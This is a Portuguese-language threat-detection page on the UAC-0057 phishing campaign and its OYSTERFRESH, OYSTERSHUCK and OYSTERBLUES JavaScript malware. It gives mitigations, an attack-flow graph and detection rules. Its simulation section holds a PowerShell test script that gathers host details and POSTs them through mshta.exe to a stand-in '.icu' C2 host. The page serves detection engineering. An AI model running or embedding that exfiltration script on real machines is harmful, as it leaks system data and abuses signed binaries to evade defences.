UAC-0057 Atualiza seu Conjunto de Ferramentas com OYSTERFRESH, OYSTERSHUCK e OYSTERBLUES
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
A CERT-UA relatou uma campanha de phishing direcionada a organizações governamentais ucranianas. Os emails contêm anexos em PDF que redirecionam os destinatários para arquivos ZIP carregando arquivos JavaScript maliciosos conhecidos como OYSTERFRESH, OYSTERSHUCK e OYSTERBLUES. Uma vez executado, o malware coleta informações do sistema e as envia por meio de solicitações HTTP POST, com a opção de recuperar um componente Cobalt Strike em uma fase posterior. A infraestrutura de suporte está oculta atrás do Cloudflare e faz uso extensivo de .icu domínios.
Investigação
A análise da CERT-UA identificou as amostras de JavaScript malicioso, os métodos de decodificação de que dependem, incluindo reversão de strings, ROT13 e decodificação de URL, e as alterações no registro usadas para manter a persistência. Os investigadores também documentaram vários artefatos de arquivos e caminhos do Windows associados à cadeia de infecção. A análise de rede vinculou a atividade à .icu infraestrutura de hospedagem protegida pelo Cloudflare. O relatório também observa a possível entrega subsequente de um beacon Cobalt Strike.
Mitigação
As organizações devem restringir a execução de wscript.exe para usuários padrão, limitar a execução de PowerShell e JavaScript, e monitorar as chaves de execução do registro listadas para alterações suspeitas. A filtragem da web deve ser usada para bloquear .icu domínios e, quando apropriado, faixas de IP relacionadas ao Cloudflare associadas à campanha. Os defensores também devem aplicar controles de privilégio mínimo e impedir a execução automática de binários desconhecidos.
Resposta
As equipes de segurança devem criar detecções para os nomes de arquivos identificados, chaves de registro e tráfego HTTP POST de saída para os domínios conhecidos. A caça também deve cobrir a possível carga do Cobalt Strike, incluindo o CSBEACON DLL, e qualquer tarefa agendada chamada MicrosoftEdgeUpdateTaskMachine. As investigações no endpoint devem coletar árvores de processos para rastrear a cadeia de decodificação e execução do JavaScript.
graph TB %% Definições de classes classDef action fill:#99ccff classDef malware fill:#ff9999 classDef tool fill:#cccccc classDef process fill:#ffcc99 %% Nós action_phishing[“<b>Ação</b> – <b>T1566.001 Phishing</b><br/>Spearphishing com anexo: envio de email com PDF malicioso contendo link para ZIP”] class action_phishing action action_user_exec[“<b>Ação</b> – <b>T1204.002 Execução pelo utilizador</b><br/>A vítima abre o PDF/ZIP e executa JavaScript OYSTERFRESH”] class action_user_exec action malware_oysterfresh[“<b>Malware</b> – OYSTERFRESH<br/>Ficheiro JavaScript entregue em ZIP, ponto de entrada do ataque”] class malware_oysterfresh malware action_obfuscate[“<b>Ação</b> – <b>T1027.008 Ofuscação</b><br/>Payload ofuscado através de inversão de strings, ROT13 e decodificação URL”] class action_obfuscate action malware_oysterblues[“<b>Malware</b> – OYSTERBLUES<br/>Escreve entradas de registo e lança componentes de persistência”] class malware_oysterblues malware tool_wscript[“<b>Ferramenta</b> – wscript.exe<br/>Windows Script Host usado para executar componentes JavaScript adicionais”] class tool_wscript tool action_proxy_exec[“<b>Ação</b> – <b>T1127 Execução por proxy</b><br/>Usa wscript.exe para executar OYSTERSHUCK e OYSTERBLUES”] class action_proxy_exec action action_persistence[“<b>Ação</b> – <b>T1547.014 Persistência</b><br/>Cria chaves HKCU Run para executar MicrosoftEdgeUpdate.exe e EdgeApp.exe no início de sessão”] class action_persistence action action_discovery[“<b>Ação</b> – <b>T1057 Descoberta de processos</b><br/>Recolhe lista de processos, nome do computador, utilizador, versão do SO e tempo de arranque”] class action_discovery action process_c2[“<b>Processo</b> – HTTP POST para servidor C2<br/>Envia informação do sistema descoberta”] class process_c2 process action_embedded_payload[“<b>Ação</b> – <b>T1027.009 Payload incorporado</b><br/>Beacon do Cobalt Strike incorporado em JavaScript e executado via eval”] class action_embedded_payload action malware_cobalt_strike[“<b>Malware</b> – Beacon Cobalt Strike<br/>Payload malicioso incorporado”] class malware_cobalt_strike malware %% Ligações action_phishing –>|entrega| action_user_exec action_user_exec –>|ativa| malware_oysterfresh malware_oysterfresh –>|realiza| action_obfuscate action_obfuscate –>|cria| malware_oysterblues malware_oysterblues –>|usa| tool_wscript tool_wscript –>|permite| action_proxy_exec action_proxy_exec –>|executa| malware_oysterblues action_proxy_exec –>|executa| malware_oysterfresh action_proxy_exec –>|executa| malware_cobalt_strike action_persistence –>|estabelece| process_c2 action_discovery –>|envia dados para| process_c2 action_embedded_payload –>|executa| malware_cobalt_strike
Fluxo de Ataque
Detecções
Possíveis Pontos de Persistência [ASEPs – Hive de Software/NTUSER] (via registro_evento)
Ver
Extensão de Arquivo Suspeita Adicionada às Chaves de Execução [ASEPs] (via registro_evento)
Ver
Extração de Arquivo Diretamente do Cliente de Email (via criação_processo)
Ver
Execução a partir de Arquivo ZIP [7zip] (via criação_processo)
Ver
Execução a partir de Arquivo RAR [WinRAR] (via criação_processo)
Ver
LOLBAS WScript / CScript (via criação_processo)
Ver
LOLBAS RunDLL32 (via linha_de_comando)
Ver
Arquivos Extraídos Suspeitos de um Arquivo (via evento_arquivo)
Ver
Tarefa Agendada Suspeita (via auditoria)
Ver
Comando e Controle Suspeito por Solicitação DNS com Domínio de Nível Superior (TLD) Incomum (via dns)
Ver
IOCs (HashSha256) para detectar: toolkit atualizado UAC-0057: OYSTERFRESH, OYSTERSHUCK e OYSTERBLUES Parte 2
Ver
IOCs (HashSha256) para detectar: toolkit atualizado UAC-0057: OYSTERFRESH, OYSTERSHUCK e OYSTERBLUES Parte 1
Ver
IOCs (HashSha1) para detectar: toolkit atualizado UAC-0057: OYSTERFRESH, OYSTERSHUCK e OYSTERBLUES
Ver
IOCs (HashMd5) para detectar: toolkit atualizado UAC-0057: OYSTERFRESH, OYSTERSHUCK e OYSTERBLUES Parte 2
Ver
IOCs (HashMd5) para detectar: toolkit atualizado UAC-0057: OYSTERFRESH, OYSTERSHUCK e OYSTERBLUES Parte 1
Ver
IOCs (SourceIP) para detectar: toolkit atualizado UAC-0057: OYSTERFRESH, OYSTERSHUCK e OYSTERBLUES
Ver
IOCs (DestinationIP) para detectar: toolkit atualizado UAC-0057: OYSTERFRESH, OYSTERSHUCK e OYSTERBLUES
Ver
Detecção de Exfiltração OYSTERBLUES via HTTP POST para Domínios .icu [Conexão de Rede Windows]
Ver
Detecção de Execução de JavaScript Malicioso via wscript.exe [Criação de Processo Windows]
Ver
Execução de Simulação
Pré-requisito: A Verificação de Telemetria e Base deve ter sido aprovada.
Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa refletem diretamente os TTPs identificados e produzem exatamente a telemetria esperada pela lógica de detecção.
-
Narrativa do Ataque & Comandos:
O adversário utiliza um binário assinado do Windows (mshta.exe) para executar uma pequena carga de JavaScript que coleta informações do sistema e as exfiltra via um HTTP POST para um domínio malicioso “*.icu” controlado pelo servidor C2. Essa abordagem “living‑off‑the‑land” evita alertas de AV enquanto gera exatamente o evento de firewall que a regra monitora (POST + “.icu”). -
Script de Teste de Regressão:
# Simulação de exfiltração ao estilo OYSTERBLUES # 1. Codificar informações mínimas do sistema em JSON $info = @{ hostname = $env:COMPUTERNAME user = $env:USERNAME os = (Get-CimInstance -ClassName Win32_OperatingSystem).Caption } | ConvertTo-Json -Compress # 2. Escrever um arquivo temporário HTML que executa um POST de busca JS $htmlPath = "$env:TEMPexfil.html" $js = @" var data = '$info'; fetch('http://malicious-c2.abc.icu/collect', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: data }); "@ Set-Content -Path $htmlPath -Value "<script>$js</script>" -Encoding ASCII # 3. Executar via mshta (execução proxy de binário assinado) Start-Process -FilePath "$env:SystemRootSystem32mshta.exe" -ArgumentList "`"$htmlPath`"" # 4. Dar tempo para a solicitação ser concluída, e então limpar Start-Sleep -Seconds 5 Remove-Item -Path $htmlPath -Force -
Comandos de Limpeza:
# Garantir que quaisquer processos mshta restantes sejam terminados Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force # Remover arquivos temporários residuais (se houver) $tempFiles = Get-ChildItem -Path $env:TEMP -Filter "exfil.html" foreach ($file in $tempFiles) { Remove-Item $file.FullName -Force }